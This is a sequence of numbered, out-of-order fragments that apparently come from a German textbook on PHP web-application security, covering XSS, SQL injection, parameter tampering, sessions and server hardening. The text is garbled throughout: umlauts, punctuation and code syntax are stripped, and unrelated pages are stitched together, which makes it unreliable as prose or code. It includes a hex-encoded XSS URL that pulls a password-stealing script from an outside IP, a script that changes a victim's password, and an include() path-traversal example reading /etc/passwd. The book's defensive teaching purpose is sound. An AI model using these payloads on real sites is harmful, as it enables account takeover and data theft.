423. rogramm mitgeliefert das einfach ausgef hrt werden kann Unter Unix wird der Proxy einfach in ein Verzeichnis entpackt Gestartet wird er unter Windows mit Abb 3 1 Die Firefox Extension Tamper Data Webscarab 52 3 Parametermanipulation webscarab bat und unter Unix X Window vorausgesetzt mit webscarab sh Danach erscheint folgende Ausgabe auf dem Bildschirm Abb 3 2 Der Proxy Webscarab In dem Reiter Proxy befindet sich ein weiterer Reiter Manual Edit Dort ist eine Checkbox Intercept Requests Diese sollten Sie nach dem Start anklicken Da es sich hierbei um einen Proxy handelt muss er im Browser eingetragen werden so dass alle zuk nftigen Verbindungen dar ber laufen Beim Internet Explorer w hlen Sie im Men Extras Internet optionen den Reiter Verbindungen aus Dort klicken Sie auf den Button Einstellungen im Abschnitt LAN Einstellungen Dann m ssen Sie die Auswahl Proxy Server f r LAN verwenden ausw h len und darunter werden dann zwei Eingabefelder aktiv in die Sie den Proxyserver mit der Adresse 127 0 0 1 und dem Port 8008 eintra gen Beim Mozilla Browser m ssen Sie im Men Bearbeiten Ein stellungen den Button Verbindungen dr cken Danach m ssen Sie die Auswahl Manuelle Proxy Konfiguration aktivieren und in die 3 3 Angriffsszenarien und L sungen 53l Eingabefelder darunter den Proxy mit der Adresse 127 0
424. rray Schl ssel ist ein zuf llig generierter Hash Statt eines Arrays k nnen Sie auch einen konkatenierten String verwenden die Idee hinter dem Verfahren erschlie t sich jedoch bei Benutzung eines Arrays am einfachsten lt form gt lt php key md5 rand 0 99999 t gt lt input type text name username lt php echo key gt gt lt input type password name pw lt php echo key gt gt lt input type hidden name key value lt php echo key gt gt lt input type submit gt lt form gt Da die Speicherfunktion f r Benutzernamen und Passw rter stets dar auf basiert dieselben Formularfelder wiederzuerkennen l sst sie sich mit diesem einfachen Trick berlisten allerdings nur 99 999 Mal Eingabefelder als Array Variablen Formular mit dynamisch benannten Eingabefeldern s6 4 Cross Site Scripting Benutzernamen und Passw rter werden so nicht gespeichert und da die neuen Eingabefelder als Arrays aufgebaut sind m ssen Sie sie ein fach nur mit dem entsprechenden Array Key ansprechen Dieser wird als versteckte Variable mit bergeben und kann dann wie folgt benutzt werden lt php key _POST key user _POST username key pass _POST pw key gt Mit dieser einfachen Ma nahme k nnen Sie verhindern dass bequeme Benutzer ihre Zugangsdaten speichern und so im Fall einer XSS Atta cke zu Opfern werden 4 6 XSS in LANs und WANs Ein zentrales Pr
425. rt werden und vor oder nach der SSL verschl sselten Strecke mani puliert werden k nnen Um Sch den durch Manipulation von Parametern zu vermeiden sollten Sie gerade diese Angriffsm glichkeiten in Planung und Ent wicklung ber cksichtigen und entsprechende Pr froutinen in Ihrer Applikation implementieren 3 2 Werkzeuge zur Parametermanipulation Um zu erkennen wie Sie Ihre Anwendungen vor Angriffen durch Para metermanipulation sch tzen k nnen m chten wir Ihnen zun chst die M glichkeit geben in die Rolle des Angreifers zu schl pfen und Ihnen einige typische Vorgehensweisen vorstellen Um Parameter die an eine Applikation bergeben werden zu beeinflussen kann ein Browser oder ein Proxy verwendet werden Die ser Proxy wird zwischen Applikation und Webserver geschaltet und empf ngt alle Anfragen und Antworten die zwischen Client und Ser ver ausgetauscht werden Er kann angewiesen werden bei allen oder bei bestimmten Anfragen und Antworten den Programmfluss zu unter brechen An dieser Stelle k nnen nun Parameter ver ndert werden die per GET POST oder als Cookie an den Server bzw zur ck an den Client geschickt werden Wird der Browser verwendet k nnen die GET Parameter einfach abge ndert werden bei POST Daten wird das Formular auf der Festplatte gespeichert und das action Attribut des Form Tags auf eine absolute URL angepasst Dann k nnen alle Form Tags nicht nur in Bezug auf den Inhalt ge ndert werden auch max
426. rufen Zudem k nnte eine Art PHP Shell insbesondere bei Angriffen von innen daf r benutzt werden ein simples C Programm zu kompilieren und auszuf hren das ebenfalls die aktuelle UID auf 0 umschaltet und so Root Privilegien erh lt Somit ist der Einsatz von mod_suid ein unn tig riskantes Unter fangen sofern Sie das Modul auf einem Hosting Server mit heteroge ner Kundenstruktur einsetzen um PHP abzusichern k nnen Sie es jedoch mit der gebotenen Vorsicht einsetzen Der Installation des eigentlichen Moduls muss leider einige Vorar beit vorausgehen um den Webserver vorzubereiten Da mod_suid ein Apache Feature ben tigt das mit gutem Grund in der Standardkonfi guration des Webservers nicht eingeschaltet werden kann m ssen Sie zun chst Apache neu kompilieren Anders als in der Dokumentation zu mod_suid beschrieben reicht es hier aus dem configure String bei Apache einen zus tzlichen Parameter voranzustellen CFLAGS DBIG_SECURITY_HOLE configure prefix usr local apache enable shared max Der warnende Name dieses Compiler Flags steht f r sich selbst denn in aller Regel ist ein als Root laufender Webserver eine Garantie f r Sicherheitsprobleme Falls Sie versuchen auf einem ohne die genannte Option kompilierten Apache Webserver den Benutzer und die Gruppe auf root umzustellen indem Sie die entsprechenden Direktiven in der Konfiguration ndern quittiert der Server das beim Neustart mit folgender Meldung
427. ry 321 C 6 _Cross Site Request Forgery Cross Site Request Forgery CSRF ist im Grunde genommen genau das Gegenteil von XSS W hrend XSS eine Website dazu nutzt Code im Browser des Benutzers auszuf hren werden bei CSRF die im Browser eines Nutzers gespeicherten Informationen z B sein Session Cookie missbraucht um auf einer Site in dessen Namen Aktionen auszuf hren Schadenspotenzial auf dem Server mittel Ausnutzung schwer Imageschaden hoch C 7 Remote Command Execution Bei Remote Command Execution wird versucht Code auf dem Server auszuf hren Dies ist z B durch PHPs include Anweisungen m g lich Unter PHP und Java ist es m glich Dateien von anderen Rech nern einzubinden also auch von einem Rechner eines Angreifers PHP bietet auch die M glichkeit lokal Programme ber eine Shell auszu f hren Wird ein lokales Programm mit benutzermanipulierbaren Parametern aufgerufen und die Parameter nicht entsprechend gefiltert ist es m glich weitere Programme aufzurufen So k nnen etwa Dateien ge ndert oder sensible Daten ausgesp ht werden Schadenspotenzial auf dem Server hoch Ausnutzung mittel Imageschaden hoch Cc 8 Mail Header Injection Bei Kontaktformularen ist es bisweilen m glich in den Absender oder ein anderes Feld beliebige Strings einzuf gen insbesondere Zeilenum br che Damit k nnen Angreifer dieses Formular dazu missbrauchen Spam ber de
428. ry ist eine XML Darstellungsform die von den meisten popul ren Blogs f r die sogenannte Aggregation verwendet wird Meist enth lt ein RSS die letzten f nf Titel des Blogs mit einem kurzen Anriss und der URI zur vollst ndigen Eintragung Sogenannte Blog rolls sammeln die RSS Files anderer Blogs bereiten diese in HTML auf und zeigen sie an entweder damit sich der Betreiber den Besuch auf mehreren thematisch hnlichen Blogs sparen kann oder weil ein Blog Besitzer interessante Eintr ge von Freunden und Bekannten f r diese an einer zentralen Stelle sammeln m chte Beispiele f r solche Blogrolls w re die PHP Blogroll Planet PHP Einige popul re Blogs litten in der letzten Zeit unter der Tatsache dass an den Titeln von RSS Eintr gen keinerlei Eingabepr fung durch gef hrt und diese ungepr ft an den Leser weitergereicht wurden Somit konnte ein b swilliger Blog Betreiber zun chst mit etwas Social Engineering daf r sorgen in die Blogrolls seiner sp teren Opfer aufge nommen zu werden um diesen dann mit einem Eintrag von seinem eigenen Blog die Cookies zu stehlen Das Interessante an diesem Angriffstyp ist dass keinerlei Zugriff von au en notwendig ist und der Angreifer die volle Kontrolle ber s mtlichen Schadcode beh lt Mit ausreichenden JavaScript Kenntnissen kann er so v llig unbemerkt den Angriff durchf hren und danach seine Spuren verwischen Sie sollten also auch dann wenn Sie es bei Ihrem Blog ode
429. s ist also geeignet um schnell alle Formulare in Ihrer Anwendung zu fin den htmlspider h http ihreseite de index php Vorsicht ist nat rlich geboten wenn Ihre Anwendung in einem Nutz erbereich weitere Formulare enth lt f r die man sich einloggen muss Das Spider Skript kann diesen Login nat rlich nicht simulieren sodass auch hier Nacharbeit notwendig werden k nnte 12 5 Fazit 309 12 5 Fazit Das Apache Modul mod_security kann Ihnen bei der Absicherung Ihres Webservers unterst tzende Dienste leisten F r viele standardi sierte Angriffe k nnen Sie mit nur wenig Entwicklungsarbeit Regeln erstellen die einen recht effektiven Schutz bedeuten Allerdings d rfen Sie sich getreu dem Prinzip der Defense in Depth nicht darauf verlassen dass Sie mit mod_security ein Allheilmittel gegen Angriffe auf Ihre Webserver gefunden haben Ihre Anwendung sollte stets dar auf vorbereitet sein dass z B durch ein falsch konfiguriertes oder vom Angreifer berlistetes Security Modul Angriffe zu ihr durchdrin gen und die entsprechenden Gegenma nahmen selbst implementie ren M chten Sie absolut sichergehen dass Anwendungen nur die von Ihnen erlaubten Variablen und Datentypen erhalten ist mod_parm guard einen Blick wert Allerdings macht der fr he Status der Entwick lung und der extreme Arbeitsaufwand der durch die Erstellung einer kompletten Whitelist entsteht den Einsatz ziemlich m hselig Anhang 311
430. s so konfiguriert ist Hier wirkt sich zum Beispiel ein 5 3 Syntax einer SQL Injection 131 n sehr wohl aus indem es die entsprechende Zeile in der Log Datei umbricht Die Zeichen oder der String NULL haben Auswirkungen auf ein SQL Statement und m ssen deshalb auf jeden Fall maskiert werden Die runden Klammern k nnen beliebig eingesetzt werden um Ausdr cke einzuschlie en oder zusammenzu fassen Alle Sonderzeichen in Daten die an eine Datenbank bergeben werden m ssen maskiert werden 5 3 2 Schl sselw rter in SQL Im Folgenden werden alle Schl sselw rter vorgestellt die im Zusam menhang mit einer SQL Injection stehen NOT Das ist das logische NICHT Falls ein Ausdruck TRUE ist gibt ein NOT Ausdruck das Ergebnis FALSE zur ck Beispiel ID NOT 10 gibt TRUE zur ck wenn die ID nicht 10 ist AND amp amp Das logische UND Beide Ausdr cke links und rechts von AND m ssen TRUE zur ckgeben etwa im SQL Ausdruck ID 10 AND Name Peter Die ID muss 10 und der Name muss Peter sein ansons ten schl gt dieses Statement fehl OR Das logische ODER Einer der beiden Ausdr cke links oder rechts von OR muss TRUE zur ckgeben Ein Beispiel w re folgender Ausdruck ID 10 OR Name Peter eine der beiden Bedingungen muss erf llt sein entweder ID 10 oder Name Peter Um ein SQL Statement richtig zu erraten m ssen auch diese logischen Operatoren mit e
431. s und der relativ einfachen Admi nistration eine der Killer Applikationen f r PHP Ohne freie und leicht zu benutzende Produkte wie phpBB w re die Verbreitung von PHP sicher nicht so schnell gegangen allerdings auch nicht die Ver 1 Einleitung breitung des ersten PHP Wurms Santy der eine L cke in der Foren software ausnutzt um Schadcode zu laden und auszuf hren Ironi scherweise ist Santy ausgerechnet in Perl geschrieben der Sprache an der sich PHP lange Zeit messen lassen musste Andere Sicherheitsprobleme auf Internetseiten mit dem Label PHP powered besch ftigten gleich die Staatsanwaltschaften oder Mitarbeiter gro er Telekommunikationskonzerne Bei allen Fehlern handelte es sich um Programmier oder Designschnitzer die vermeid bar gewesen w ren Obwohl auch in PHP selbst Bugs entdeckt und behoben wurden die von einem b swilligen Angreifer f r seine finste ren Zwecke verwendet werden konnten liegt die gro e Mehrzahl der f r die erfolgreiche Installation von Rootkits Backdoors oder anderen Exploits verantwortlichen Sicherheitsl cken in den Anwendungen selbst Seit 2004 hat sich die Struktur der Angriffe aber auch die Struktur der Angreifer ver ndert Wurden PHP basierte Webapplikationen noch vor wenigen Jahren haupts chlich zum Spa angegriffen oder die sie beherbergenden Server als Ablageplatz f r Raubkopien und hnliches missbraucht stehen nun kommerzielle Interessen im Vor dergrund Professio
432. schlich als nicht nderbar vermuteten HTTP Headern lassen sich interessante Dinge anstellen Viele Browser dar unter Mozilla und Firefox lassen ber Plugins oder Erweiterungen die nderung fast aller HTTP Header zu Da diese modifizierten Header jedoch stets auf den jeweiligen Client beschr nkt bleiben sind First Order Attacken die ja meist darauf basieren dass der Angreifer sei nem Opfer einen pr parierten Link zukommen l sst in aller Regel nicht m glich 4 15 2 Second Order XSS per Header Aus akademischer aber auch praktischer Sicht sind Second Order Angriffe per XSS eine sehr interessante Sache erlauben sie doch oft unerkannt an Administratordaten zu gelangen Wie bereits in der Einf hrung dargelegt liegt ein Angriff der zwei ten Ordnung Second Order vor wenn der eingef gte Code nicht unverz glich beim Aufruf zur Ausf hrung gebracht sondern zun chst vom angegriffenen System zwischengespeichert wird Bei XSS Angrif fen ist der vielversprechendste Angriffsvektor der User Agent String Dieser wird n mlich nicht nur vom Webserver meist zu statistischen Zwecken aufgezeichnet sondern auch von manchen PHP Anwendun gen wie etwa Drupal Typo3 oder auch Contrexx verwendet um Benutzerstatistiken zu erstellen Gleichzeitig leiden viele Entwickler unter einer gewissen Betriebsblindheit was HTTP Header angeht und nehmen diese als nicht vom Benutzer nderbare Tatsache hin Ein Angreifer der z B ber ein spezielles Fi
433. se Extension hei t FileInfo Installiert werden kann diese Extension mithilfe des PEAR Instal lers mit phpize oder als dynamische Extension die einfachste Vari ante ist sicher der PEAR Installer der s mtliche notwendigen Einstel lungen selbstt tig vornimmt jedoch nicht berall funktioniert pear install fileinfo pear download fileinfo tar xzvf fileinfo tgz cd FileInfo phpize configure amp amp make amp amp make install Nachdem Sie die Extension kompiliert und installiert haben die Installation ist lediglich ein Kopiervorgang ins f r die aktuelle PHP Installation relevante extension_dir etwa usr lib php o m ssen Sie sie noch in der php ini eintragen Extension fileinfo so Des Weiteren werden die Dateien mime magic und mime ben tigt In die sen beiden Dateien befinden sich Dateifragmente die in einer Datei vorkommen m ssen um diese als einen bestimmten Dateitypen zu identifizieren Eine Datei kann man nun wie folgt berpr fen lt php info new finfo FILEINFO_MIME magic echo info gt file tmp test doc gt Folgendes Ergebnis sollte hier ausgegeben werden application msword Hier kann zwar eine Datei identifiziert werden aber es kann immer noch sch dlicher PHP Code in einer Datei enthalten sein 8 8 Gef hrliche Zip Archive 88 Gef hrliche Zip Archive Auch Zip Archive die auf einen Server hochgeladen werden k nnen gef hrlich werden Ein Zip Archiv mit ein
434. serid AND challenge timestamp gt mktime 24 3600 res mysql_query get_challenge userdata dbh challenge php 162 6 Authentisierung und Authentifizierung echo mysql_error dbh echo get_challenge_userdata if mysql_num_rows res 0 die Keine Challenge gefunden vermutlich Timeout erg mysql_fetch_array res if erg valid 0 die Challenge nicht mehr g ltig bitte lassen Sie sich eine neue Challenge zuschicken echo Hallo htmlentities erg username bitte geben Sie Ihr neues Passwort an lt form method POST action challenge php gt lt input type hidden name action value changepw gt lt input type hidden name challenge value lt php echo erg challenge gt gt Passwort lt input type password name new_password value gt lt input type submit value Neues Passwort setzen gt lt form gt lt php function challenge invalidate_save_password dbh mysql_connect localhost benutzer passwort mysql_select_db datenbank dbh get_chall SELECT challenge userid valid FROM challenge WHERE challenge mysql real escape string POST L challenge AND timestamp gt mktime 24 3600 res mysql_query get_chall dbh if mysql_num_rows res 0 die Keine passende Challenge gefunden erg mysql_fetch_array res if ergl valid 0 die Challenge nicht me
435. sge stellt es kann entweder persistent oder nicht persistent sein W hrend letztere Cookies mit dem Schlie en des Browsers verfal len werden erstere oft f r lange Zeit und ohne Wissen des Nutzers auf der Festplatte des Clients gespeichert z B zur Benutzerverfolgung bei Werbetreibenden Der Transport einer Session ID in der URL kann auf zwei Arten erfolgen URL Rewriting Die Session ID ist Teil der URL z B http SESSION12345 dings de oder http www php sicherheit de SESS12345 index php _GET Parameter Hier wird die Session ID an den bereits vorhandenen Query String als weiterer Parameter angeh ngt wie in http www dings de PHPSESSID SESSION12345 In der Regel wird der URL Transport nur eingesetzt wenn der Client keine Cookies erlaubt ber die trans_sid Funktionalit t Transi tional Session ID entscheidet PHP automatisch welche Transport methode benutzt werden soll 7 2 Permissive oder strikte Session Systeme 173 Der Transport der Session in einem versteckten Formularfeld sieht folgenderma en aus lt input type hidden name PHPSESSID value abef34892eac8901ed567827385efab3 gt Diese Session ID wird beim Abschicken des Formulars mit an den Ser ver gesendet und steht f r den Entwickler im _POST Array zur Verf gung Falls m glich sollten Sie auf Session IDs in der URL oder in einem versteck ten Formularfeld verzichten 7 2 Permissive oder strikte Sess
436. sicheres Skript nicht f r seine Zwecke missbrauchen kann der Webserver muss gegen Angriffe abgeh rtet hardened werden 1 2 Was ist Sicherheit In der IT existiert ein gefl gelter Spruch der besagt dass Daten erst dann sicher seien wenn sie in einem Safe an einer unbekannten Stelle auf dem Meeresboden versenkt w rden So bertrieben das auch klin gen mag dieses Sprichwort enth lt einen Funken Wahrheit Absolute Sicherheit kann ohne Tresore und Tiefsee Lagerung in Betracht zu zie hen nicht erzielt werden alle Bem hungen m ssen stets als best effort gelten Eine sinnvolle Definition des Sicherheitsbegriffes kann stets nur kontextbezogen gefunden werden Institutionen wie Finanz oder Mel de mter die mit hoch und h chstvertraulichen Daten zu tun haben werden unter Sicherheit etwas v llig anderes verstehen als jemand der auf seiner privaten Homepage in einem einfachen CMS Bilder seines Goldfisches ausstellt Daher kann man die Sicherheit von webbasierten Systemen um die es in diesem Buch letztlich gehen soll folgenderma en umschreiben Ein System kann als sicher gelten wenn die Kosten f r einen erfolgreichen Angriff den m glichen Nutzen bersteigen Cracker und sonstige b se Buben verf gen n mlich nicht ber unbe grenzte Zeit und Mittel Die erste Gruppe von Angreifern Scriptkid dies rekrutiert sich berwiegend aus Jugendlichen und jungen Erwachsenen mit wenigen oder keinen Fachkenntnisse
437. sicherheitskritische Einstellungen sollten von Ihnen in jedem Fall vorgenommen werden Dieses Kapitel zeigt Ihnen mit welchen Bordmitteln Sie PHP sicherer machen k nnen 10 1 Fehler iin PHP Wie jede andere Software auch ist PHP nicht vor Fehlern gefeit Obgleich ein internationales Team die Qualit tssicherung jeder neuen PHP Version bernimmt ist es unm glich jeden Bug sofort zu finden und zu beheben Im Laufe der letzten Jahre gab es einige Bugs in PHP und PHP Modulen die sicherheitsrelevant sind einige konnten von Angreifern gar dazu genutzt werden den angegriffenen Server zu ber nehmen und eigenen Schadcode nachzuladen Da die PHP Version 3 seit mittlerweile fast sieben Jahren nicht mehr aktuell ist gehen wir im Folgenden nur auf einige ltere Pro bleme in PHP 4 und 5 ein die jedoch noch immer von Angreifern aus genutzt werden 10 1 1 Month of PHP Bugs Stefan Esser der Koautor dieses Buches hat im M rz 2007 eine Initia tive ins Leben gerufen um die PHP Entwicklercommunity aufzur t teln und viele von ihm gefundene Fehler zu ver ffentlichen Dieser Month of PHP Bugs erregte bei den Core Entwicklern einigen 1 http www php security org 10 PHPintern Unmut trug aber mit ber 40 ver ffentlichten teilweise als kritisch einzustufenden L cken zentral zur Verbesserung der Sicherheit im Sprachkern von PHP bei 10 1 2 File Upload Bug In allen PHP Versionen von 4 0 2 bis 4 0 7RC2 war eine L ck
438. so firmeninterne bzw Haus Netzwerke reserviert hat sind andere f r die sp tere Nutzung reserviert und damit auch nicht ber das Internet zug nglich Einige Sonderadressen wie 0 0 0 0 und 255 255 255 255 haben administrative Funktion und sind obgleich syntaktisch g ltig ebenfalls als reservierte Netzwerke anzusehen Um solche Adressen zu filtern bergeben Sie die beiden Flags FILTER_FLAG_NO_RES_RANGE um reservierte Netzwerke auszuschlie en FILTER_FLAG_NO_PRIV_RANGE um private Netze auszuschlie en Ein Filterausdruck der private und reservierte Netze nicht zul sst s he wie folgt aus filter_var 0 0 0 0 FILTER _VALIDATE_IP array flags gt FILTER _FLAG_IPV4 FILTER_FLAG_NO_PRIV_RANGE FILTER_FLAG_NO_RES_RANGE Dieser Funktionsaufruf w rde den Wert FALSE zur ckliefern denn die spezielle IP Adresse 0 0 0 0 gilt als Teil eines reservierten Netzwerks 9 9 _ Syntaxcheck f r E Mail Adressen Mit E Mail Adressen verh lt es sich hnlich wie mit IP Adressen Ist die Adresse syntaktisch korrekt hei t das noch lange nicht dass sie auch existiert und erreichbar ist Dank der berhandnehmenden Ver breitung von Spam wechseln viele Benutzer im Wochen oder Monatstakt ihre Mailadresse und es gibt keine M glichkeit eindeutig zu pr fen ob eine alte Adresse noch existiert au er Sie senden eine Mail dorthin und zwingen den Nutzer zu reagieren Diese Methode wird heutzutage von praktisch jeder Anwendu
439. sprechend lautet der Konfigurations block in der httpd conf folgenderma en lt Location parmguard gt ParmguardEngine On ParmguardConfFile etc httpd parmguard xml lt Location gt Nachdem Sie die Konfigurationsdatei httpd conf bearbeitet haben speichern Sie sie ab starten aber den Webserver noch nicht neu schlie lich m ssen Sie noch eine XML Datei mit der Whitelist f r Ihre test php erstellen 12 4 4 XML Whitelist manuell erstellen Das Apache Modul mod_parmguard bedient sich zur Konfiguration nicht der blichen Direktiven im Apache Stil sondern verwendet ech tes XML f r die Konfigurationsdatei Zwar macht dieser Schritt eine oder mehrere externe Konfigurationsdateien notwendig die Validie rung der Dateien wird jedoch deutlich erleichtert Der in mod_parmguard integrierte Parser validiert die Konfigurationsdatei einfach gegen die mitgelieferte DTD Document Type Definition M chten Sie selbst eine Konfigurationsdatei f r Ihr Skript erstellen so k nnen Sie dies wahlweise manuell oder automatisch mit einem der mitgelieferten Perl Skripte tun Die fertigen XML Dokumente enthal ten die folgenden Elemente Eine globale Sektion f r den gerade g ltigen Kontext also den Location Block f r den die XML Datei g ltig ist enth lt Regeln f r den generellen Umgang mit URLs und Parametern Der optionale Bereich usertype in dem eigene Datentypen f r h ufig ben tigte Eingabewerte definiert werden k nnen Der
440. ssen Ein fataler Fehler lt php include _GET datei php gt Ein Angreifer der an die URL den Parameter datei mit dem Inhalt etc passwd 00 anh ngt kann die Datei etc passwd auslesen PHP interne Funktionen sollten nicht durch eigene selbst geschriebene Funktionen ersetzt werden weil in den PHP Funktionen Sicherheitsl cken automatisch von den PHP Entwicklern beseitigt werden Nutzen Sie eine eigene Implementierung m ssen Sie nderun gen am in PHP eingebauten Vorbild selber einpflegen 3 5 register_globals 75l Sie sehen dass Blacklist berpr fungen von einer meist unzutreffenden Annahme ausgehen n mlich der dass alle b sen Zeichen oder Zeichensequenzen dem Entwickler bekannt sind White listing ist in den meisten F llen deutlich effektiver und zukunftssiche rer da es im Zweifelsfall nur auf weniger harmlose Zeichen beschr nkt ist statt grunds tzlich allen Zeichen die nicht explizit benannt sind eine wei e Weste zu bescheinigen Beide Arten sind nicht wartungsfrei aber Blacklisting erfordert deutlich mehr Wartungsaufwand durch permanentes Finden und Beseitigen von Sicherheitsl cken 3 4 6 Clientseitige Validierung Eine clientseitige Validierung sollte nie als alleinige L sung zur Variab lenvalidierung dienen Diese Art der Pr fung basiert meistens auf Java Script dies kann in jedem Browser deaktiviert werden Da JavaScript eine clientseitige Skriptsprache ist gelten hierf r ebe
441. ssen h ufig vorkommen Syntaktisch korrekte IP Adressen m ssen nicht erreichbar sein Der f r die Pr fung von IP Adressen benutzte Filter lautet FILTER_VALIDATE_IP er ist sowohl f r die herk mmlichen IPv4 Adres sen als auch f r IPv6 Adressen gebr uchlich IPv4 Adressen m ssen jedoch im dotted quad Format vorliegen das Long Format wird nicht unterst tzt Um zwischen den beiden Adressierungstypen zu unterscheiden gibt es zwei Flags FILTER_FLAG_IPV4 f r IPv4 Adressen FILTER_FLAG_IPV6 f r das neue IPv6 Format Eine IPv4 Adresse zu pr fen geht also recht einfach filter_var 23 42 47 11 FILTER _VALIDATE_IP array flags gt FILTER_FLAG_IPV4 Analog pr fen Sie eine IPv6 Adresse filter_var fe80 ffff ffff fffd FILTER_VALIDATE_IP array flags gt FILTER_FLAG_IPV6 Um auszuschlie en dass die vom Nutzer angegebene IP Adresse nicht in einem sogenannten privaten bzw einem reservierten Netzwerk liegt k nnen Sie mit zwei weiteren Flags diese Netze ausschlie en Damit verhindern Sie dass nicht ber das Internet erreichbare IP Adressen angegeben werden 2 http pecl php net package idn 204 9 Variablenfilter mit ext filter Die Unterscheidung zwischen privaten und reservierten Netzen liegt in der Vergabepolitik f r IP Adressen begr ndet W hrend die IANA die Internet Assigned Numbers Authority einige Subnetze aus dem IPv4 Adressraum von vorneherein zur Nutzung durch private Netze al
442. ssen im Long Format Als letzten Schritt codiert der Angreifer den Query String noch komplett in hexadezimaler Notation und erh lt eine komplette v llig unverd chtige URL Benutzerdaten abfangen Passwort Umleitungsskript pass js o6 4 Cross Site Scripting Passwort im Hintergrund ndern http opferanwendung de index php error 3C 73 63 72 69 70 74 20 73 72 63 3D 27 68 74 74 70 3A 2F 2F 31 30 34 30 34 37 30 34 37 39 2F 70 61 73 73 2E 6A 73 27 3E Selbst fachkundige Anwender k nnen den wahren Hintergrund dieser URL nicht auf den ersten Blick entschl sseln wie viel weniger M g lichkeiten den Angriff abzuwehren h tten wohl unbedarfte User die einfach nur ihren Mailaccount abrufen wollen In einer bekannten Anwendung aus der Nuke Familie war eine XSS L cke enthalten die auf allen Seiten insbesondere den Benutzer einstellungen das Einf gen beliebigen Codes erm glichte Mit einer kurzen JavaScript Funktion ist es bei dieser Groupware m glich eine g ltige Session auszunutzen um automatisch per DOM das Passwort feld im Nutzerprofil auszuf llen und das Formular abzuschicken Diese Funktion sieht im Klartext so aus lt script gt function meintest document Register pass value foo document Register vpass value document Register pass value document Register submit setTimeout meintest 2000 lt script gt Mit den blichen Verschleierungsma nahmen ber eine externe Skri
443. st die OWASP Web Appli cation Penetration Checklist die als Grundlage f r die Security Checkliste im Anhang diente Neben den auch in unserem Buch ent 11 http www owasp org documentation guide html Open Web Application Security Project Ts 1 Einleitung haltenen sicherheitsrelevanten Punkten zum Abhaken geht sie auch auf den Ablauf eines Pentests also eines Penetrationstests f r Webappli kationen ein um Entwicklern und externen Sicherheitsexperten Hilfe stellung f r Sicherheits berpr fungen zu geben Das als PDF erh ltliche Dokument steht ebenso wie der Guide for Building Secure Web Applications unter der GNU Documenta tion License und kann von jedermann frei verwendet ge ndert und f r die eigene Dokumentation eingesetzt werden Die Teilnahme an der OWASP steht jedem offen es werden f r einige Themen noch Freiwillige gesucht die Inhalte liefern k nnen 1 9 PHP Sicherheit de Nat rlich gibt es zu diesem Buch auch eine Website getreu dem Motto Nichts ist so alt wie die Sicherheitsl cke von gestern Neben Errata und Aktualisierungen werden wir versuchen in einem Weblog aktuelle L cken in PHP Applikationen aufzulisten und zu kommentieren So k nnen sich PHP Entwickler an einem Ort ber L cken und Bugs in der von ihnen eingesetzten Software informieren und sparen sich im besten Falle das Abonnement der oben aufgef hrten Security Mailing listen Dar ber hinaus werden Artikel z
444. st eine Form des Trickbetruges Der Phisher schickt seinem Opfer offiziell wirkende Schreiben meist E Mails die es verleiten sollen wichtige Informationen vor allem Passw rter in gutem Glauben an den T ter preiszugeben Proxy Das ist ein Server der Anfragen an Webseiten zwischenspeichert Diese Webseiten m ssen beim n chsten Aufruf aus dem Browser nicht neu aus dem Internet geladen und neu berechnet werden Hierdurch entsteht ein Geschwindigkeitsvorteil Siehe auch Cache Server Radiobuttons Ein Radiobutton ist ein Standardelement einer grafischen Software Benutzeroberfl che Er kann zwei Zust nde annehmen markiert und nicht markiert Mit einem Radiobutton kann eine Auswahl aus mehreren Optio nen getroffen werden Von mehreren Radiobuttons einer Gruppe kann immer nur einer markiert werden Rainbow Tables Die Rainbow Table dt Regenbogentabelle ist eine Datenstruktur zur schnellen Ermittlung von Klartexten zu einem vorgegebenen Hashwert Mithilfe einer solchen Tabelle ist die effiziente Entschl sselung eines Hashwertes m glich etwa zur Ermittlung eines Passworts das gehasht in einer Datenbank abgelegt war RC5 RCS ist ein kryptografischer Algorithmus der 1987 f r die amerikanische Firma RSA Security entwickelt wurde Der Algorithmus hat die M glich keit Schl ssel mit variabler L nge zu verwenden der 64 Bit Schl ssel wurde 2002 nach knapp f nfj hriger Arbeit von einem weltweit verteilten Projekt geknac
445. st reichen die drei Bildverarbeitungspro gramme convert composite und netpbm schon v llig aus damit grafi kintensive Anwendungen wie Typo3 ohne Probleme laufen Ob Sie den als unsicher verschrienen Safe Mode einsetzen m chten oder nicht h ngt von der Software ab die Sie verwenden Wenn m g lich sollten Sie Ihre PHP Instanzen so sicher machen wie es geht und zu dieser Ma nahme z hlt der Safe Mode trotz seiner Unzul nglich keiten Nat rlich ist auch ein derart abgeschotteter Server nie vollst n dig sicher vor Eindringlingen oder Ausbrechern sodass Sie trotz aller Bem hungen stets ein wachsames Auge auf die Aktivit ten Ihrer Kunden oder Kollegen haben sollten Empfohlene Einstellungen f r php ini 245 11 PHP Hardening Um weitere Sicherheitsfunktionen in PHP zu erm glichen und um Fehlern in der Skriptsprache vorzubeugen wurden spezi elle Sicherheitserweiterungen entwickelt die mittlerweile ber eine Vielzahl an Features verf gen Dieses Kapitel stellt Suho sin vor und macht Sie mit seiner Installation und Konfigura tion vertraut 11 1 Warum PHP h rten PHP leidet nicht nur unter den Sicherheitsl cken die durch nachl s sige Programmierer in Foren CM Systeme und Weblogs eingebaut werden sondern hatte in der Vergangenheit auch immer wieder mit Fehlern direkt in der Zend Engine oder einer der unz hligen zum Lie ferumfang geh renden Extensions zu k mpfen Unscheinbare Funktio nen wie w
446. stallationsskript von suPHP auf apxs zur ckgreift sind die Eintr ge zum Laden des Moduls bereits gesetzt es muss nur noch aktiviert und konfiguriert werden Die Aktivierung geschieht mit der Direktive suphp_Engine On in der Hauptkonfiguration Damit wird suPHP f r alle virtuellen Hosts aktiviert Danach f gen Sie f r jeden MIME Type den suPHP verwenden soll jeweils Direktiven der Form suPHP_AddHandler x httpd php5 AddHandler x httpd php5 php5 hinzu Alle Handler die Sie in der suphp conf definiert haben sollten Sie hier wiederholen sonst f hlt sich mod_suphp nicht f r den ent sprechenden MIME Type zust ndig Die Dateiendungen passen Sie Ihren Bed rfnissen an Doppelbelegungen sollten Sie vermeiden Dieser globalen Konfiguration die serverweit gilt folgt nun noch die eigentliche Magie von suPHP schlie lich m chten Sie ja jedem vir tuellen Host eine eigene UID und GID zuordnen Dazu f gen Sie ein fach folgende Zeile in den lt VirtualHost gt Block ein suPHP_UserGroup 1999 nogroup Wie im Beispiel zu sehen sind numerische UIDs m glich indem Sie der User ID ein voranstellen und den gesamten Ausdruck mit umschlie en sonst interpretiert Apache das Rautenzeichen als Einlei tung zu einem Kommentar Zu der UID muss kein existierender Benut zer auf dem System geh ren Sie k nnen somit virtuelle User anle gen die keine Entsprechung in etc passwd haben 10 10 Externe Ans tze 